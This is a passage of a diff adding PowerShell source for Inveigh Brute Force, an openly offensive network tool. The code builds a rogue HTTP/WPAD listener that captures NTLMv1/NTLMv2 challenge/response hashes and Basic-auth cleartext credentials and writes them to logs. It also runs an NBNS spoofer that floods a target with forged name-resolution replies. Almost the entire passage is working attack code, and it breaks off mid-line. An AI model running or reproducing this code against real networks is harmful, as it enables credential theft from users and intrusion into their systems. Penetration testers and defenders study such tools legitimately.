+$inveigh.status_queue.add("Inveigh Brute Force started at $(Get-Date -format 's')")|Out-Null +$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force started")]) |Out-Null + +if($NBNS -eq 'y') +{ + $inveigh.status_queue.add("NBNS Brute Force Spoofer Target = $SpooferTarget")|Out-Null + $inveigh.status_queue.add("NBNS Brute Force Spoofer IP Address = $SpooferIP")|Out-Null + $inveigh.status_queue.add("NBNS Brute Force Spoofer Hostname = $Hostname")|Out-Null + + if($NBNSPause) + { + $inveigh.status_queue.add("NBNS Brute Force Pause = $NBNSPause Seconds")|Out-Null + } + + $inveigh.status_queue.add("NBNS TTL = $NBNSTTL Seconds")|Out-Null +} +else +{ + $inveigh.status_queue.add("NBNS Brute Force Spoofer Disabled")|Out-Null +} + +if($HTTP -eq 'y') +{ + if($HTTPIP) + { + $inveigh.status_queue.add("HTTP IP Address = $HTTPIP")|Out-Null + } + + if($HTTPPort -ne 80) + { + $inveigh.status_queue.add("HTTP Port = $HTTPPort")|Out-Null + } + + $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null + $inveigh.status_queue.add("HTTP Authentication = $HTTPAuth")|Out-Null + $inveigh.status_queue.add("WPAD Authentication = $WPADAuth")|Out-Null + + if($HTTPResponse) + { + $inveigh.status_queue.add("HTTP Custom Response Enabled")|Out-Null + } + + if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') + { + $inveigh.status_queue.add("Basic Authentication Realm = $HTTPBasicRealm")|Out-Null + } + + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.add("WPAD = $WPADIP`:$WPADPort")|Out-Null + + if($WPADDirectHosts) + { + $inveigh.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null + } + } + elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + { + $inveigh.status_queue.add("WPAD Custom Response Enabled")|Out-Null + } + + if($Challenge) + { + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null + } + + if($MachineAccounts -eq 'n') + { + $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null + } +} +else +{ + $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null +} + +if($ConsoleOutput -eq 'y') +{ + $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null + $inveigh.console_output = $true +} +else +{ + if($inveigh.tool -eq 1) + { + $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null + } + else + { + $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null + } +} + +if($FileOutput -eq 'y') +{ + $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null + $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null + $inveigh.file_output = $true +} +else +{ + $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null +} + +if($RunTime -eq 1) +{ + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null +} +elseif($RunTime -gt 1) +{ + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null +} + +if($RunCount) +{ + $inveigh.status_queue.add("Run Count = $RunCount")|Out-Null +} + +if($ShowHelp -eq 'y') +{ + $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null + $inveigh.status_queue.add("Run Stop-Inveigh to stop running Inveigh functions")|Out-Null + + if($inveigh.console_output) + { + $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null + } +} + +if($inveigh.status_output) +{ + while($inveigh.status_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch ($inveigh.status_queue[0]) + { + "Run Stop-Inveigh to stop running Inveigh functions" + { + write-warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + } + } + } +} + +# Begin ScriptBlocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + Function DataLength + { + param ([int]$length_start,[byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + Function DataToString + { + param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data) + + $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract + } + + Function HTTPListenerStop + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener") + $inveigh.HTTP_client.Close() + start-sleep -s 1 + $inveigh.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $inveigh.HTTP_listener.server.Close() + Start-Sleep -s 1 + $inveigh.HTTP_listener.Stop() + } +} + +# HTTP Server ScriptBlock - HTTP listener +$HTTP_scriptblock = +{ + param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$MachineAccounts,$NBNSPause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount) + + Function NTLMChallengeBase64 + { + + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + + if($inveigh.challenge) + { + $HTTP_challenge = $inveigh.challenge + $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + } + else + { + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + } + + $inveigh.HTTP_challenge_queue.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null + + [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)` + + $HTTP_challenge_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)` + + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)` + + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)` + + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)` + + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)` + + $HTTP_timestamp` + + (0x00,0x00,0x00,0x00,0x0a,0x0a) + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = $HTTP_challenge + + Return $NTLM + + } + + $HTTP_WWW_authenticate_header = (0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20) # WWW-Authenticate + $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count + $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count + $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count + + if($WPADIP -and $WPADPort) + { + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $HTTP_WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + else + { + $HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + } + elseif($WPADResponse) + { + $HTTP_WPAD_response = $WPADResponse + } + + :HTTP_listener_loop while ($inveigh.bruteforce_running) + { + + $TCP_request = $NULL + $TCP_request_bytes = New-Object System.Byte[] 1024 + + $suppress_waiting_message = $false + + while(!$inveigh.HTTP_listener.Pending() -and !$inveigh.HTTP_client.Connected) + { + if(!$suppress_waiting_message) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Waiting for incoming HTTP connection") + $suppress_waiting_message = $true + } + + Start-Sleep -s 1 + + if(!$inveigh.bruteforce_running) + { + HTTPListenerStop + } + } + + if(!$inveigh.HTTP_client.Connected) + { + $inveigh.HTTP_client = $inveigh.HTTP_listener.AcceptTcpClient() # will block here until connection + $HTTP_stream = $inveigh.HTTP_client.GetStream() + } + + while ($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes, 0, $TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + + if($NBNSPause) + { + $inveigh.NBNS_stopwatch = [diagnostics.stopwatch]::StartNew() + $inveigh.hostname_spoof = $true + } + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) + $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) + } + else + { + $authentication_header = '' + } + + if(($HTTP_request_raw_URL -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + } + else + { + $HTTP_response_status_code = (0x34,0x30,0x31) + $HTTP_response_phrase = (0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64) + } + + $HTTP_type = "HTTP" + $NTLM = 'NTLM' + $NTLM_auth = $false + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $inveigh.HTTP_client.Client.Handle) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) + } + + if($authentication_header.startswith('NTLM ')) + { + $authentication_header = $authentication_header -replace 'NTLM ','' + [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) + $HTTP_response_status_code = (0x34,0x30,0x31) + + if ($HTTP_request_bytes[8] -eq 1) + { + $HTTP_response_status_code = (0x34,0x30,0x31) + $NTLM = NTLMChallengeBase64 + } + elseif ($HTTP_request_bytes[8] -eq 3) + { + $NTLM = 'NTLM' + $HTTP_NTLM_offset = $HTTP_request_bytes[24] + $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes + + [string]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + + $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) + { + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.NTLMv1_file_queue.add($inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv1_list.add($inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + } + + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_client_close = $true + $NTLM_challenge = '' + } + else # NTLMv2 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) + { + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.NTLMv2_file_queue.add($inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv2_list.add($inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + } + } + + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $NTLM_auth = $true + $HTTP_client_close = $true + $NTLM_challenge = '' + } + else + { + $NTLM = 'NTLM' + } + } + elseif($authentication_header.startswith('Basic ')) + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $authentication_header = $authentication_header -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) + $inveigh.cleartext_file_queue.add($cleartext_credentials) + $inveigh.cleartext_list.add($cleartext_credentials) + $inveigh.console_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + } + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + + if((($WPADIP -and $WPADPort) -or $WPADResponse) -and $HTTP_request_raw_URL -match '/wpad.dat') + { + $HTTP_message = $HTTP_WPAD_response + } + elseif($HTTPResponse -and $HTTP_request_raw_URL -notmatch '/wpad.dat') + { + $HTTP_message = $HTTPResponse + } + else + { + $HTTP_message = '' + + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + + if(($HTTPAuth -eq 'NTLM' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) + { + $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + $HTTP_WWW_authenticate_header` + + $NTLM` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) + { + $Basic = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + $HTTP_client_close = $true + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + $HTTP_WWW_authenticate_header` + + $Basic` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + else + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + $HTTP_client_close = $true + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + + $HTTP_stream.write($HTTP_response, 0, $HTTP_response.length) + $HTTP_stream.Flush() + start-sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old= $inveigh.HTTP_client.Client.Handle + + if($HTTP_client_close) + { + $inveigh.HTTP_client.Close() + + if($RunCount -gt 0 -and ($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext)) + { + HTTPListenerStop + $inveigh.console_queue.add("Inveigh Brute Force exited due to run count at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")]) + $inveigh.bruteforce_running = $false + } + } + + $HTTP_client_close = $false + } +} + +$spoofer_scriptblock = +{ + param ($SpooferIP,$Hostname,$SpooferTarget,$NBNSPause,$NBNSTTL) + + $Hostname = $Hostname.ToUpper() + + [Byte[]]$hostname_bytes = (0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00) + + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) + $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) + $hostname_encoded = $hostname_encoded.Replace("-","") + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) + $NBNS_TTL_bytes = [BitConverter]::GetBytes($NBNSTTL) + [array]::Reverse($NBNS_TTL_bytes) + + for ($i=0; $i -lt $hostname_encoded.Count; $i++) + { + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } + } + + [Byte[]]$NBNS_response_packet = (0x00,0x00)` + + (0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20)` + + $hostname_bytes` + + (0x00,0x20,0x00,0x01)` + + $NBNS_TTL_bytes` + + (0x00,0x06,0x00,0x00)` + + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()` + + (0x00,0x00,0x00,0x00) + + $inveigh.console_queue.add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")]) + $NBNS_paused = $false + + $send_socket = New-Object System.Net.Sockets.UdpClient(137) + $destination_IP = [system.net.IPAddress]::Parse($SpooferTarget) + $destination_point = New-Object Net.IPEndpoint($destination_IP,137) + $send_socket.Connect($destination_point) + + while($inveigh.bruteforce_running) + { + :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.bruteforce_running) + { + if($NBNS_paused) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")]) + $NBNS_paused = $false + } + + for ($i = 0; $i -lt 255; $i++) + { + for ($j = 0; $j -lt 255; $j++) + { + $NBNS_response_packet[0] = $i + $NBNS_response_packet[1] = $j + [void]$send_socket.send( $NBNS_response_packet,$NBNS_response_packet.length) + + if($inveigh.hostname_spoof -and $NBNSPause) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")]) + $NBNS_paused = $true + break NBNS_spoofer_loop + } + } + } + } + + Start-Sleep -m 5 + } + + $send_socket.Close() + } + +$control_bruteforce_scriptblock = +{ + param ($NBNSPause,$RunTime) + + if($RunTime) + { + $control_timeout = new-timespan -Minutes $RunTime + $control_stopwatch = [diagnostics.stopwatch]::StartNew() + } + + if($NBNSPause) + { + $NBNS_pause = new-timespan -Seconds $NBNSPause + } + + while ($inveigh.bruteforce_running) + { + + if($RunTime) + { + if($control_stopwatch.elapsed -ge $control_timeout) + { + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + if($inveigh.bruteforce_running) + { + HTTPListenerStop + $inveigh.console_queue.add("Inveigh Brute Force exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run time")]) + Start-Sleep -m 5 + $inveigh.bruteforce_running = $false + } + + if($inveigh.relay_running) + { + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false + } + + if($inveigh.running) + { + $inveigh.console_queue.add("Inveigh exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh 